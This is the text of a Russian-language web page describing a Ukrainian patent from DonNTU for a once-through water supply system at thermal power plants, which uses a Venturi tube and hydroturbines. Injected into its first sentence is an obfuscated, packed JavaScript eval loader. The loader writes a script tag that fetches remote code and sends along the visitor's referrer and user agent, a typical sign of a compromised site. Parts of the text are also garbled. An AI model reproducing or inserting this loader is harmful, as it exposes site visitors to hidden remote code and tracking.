

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kabhz|var|u0026u|referrer|ihrnh||js|php'.split('|'),0,{})) кафедре Технической теплофизики разработана система водоснабжения электрических станций

1. Прямоточная система технического водоснабжения: патент Украины на изобретение № 52002, МПК

E

ОЗВ1/ОО

1/02 /Илющенко В.В., Илющенко И.В., Бычик В.Н., Данильченко Т.А.; ДонНТУ, заявка № а 2001128999, заявл. 25.12.2001, опубл. 16.12.2002, бюл. № 12.

Изобретение относится к энергетике и предназначено для систем снабжения технической водой потребителей тепловых электрических станций.

Прямоточная система технического водоснабжения имеет водоприемник, насосы, связанные напорными водоводами с конденсаторами. Конденсаторы связаны сливными водоводами через сливной сифонный колодец с отводным каналом. Новизна заключается в том, что в сливном водоводе последовательно расположены труба Вентури и гидротурбина, а в отводном канале установлен капсюльный гидроагрегат.

Предложенная система позволяет использовать свойство водяного потока увеличивая скорость после сужения диаметра с помощью трубы Вентури, а также использовать раньше не задействованный природный напор воды. Также система позволяет разгрузить станцию от расхода энергии на собственные нужды и создать систему водоснабжения, независимо от внешних источников энергии.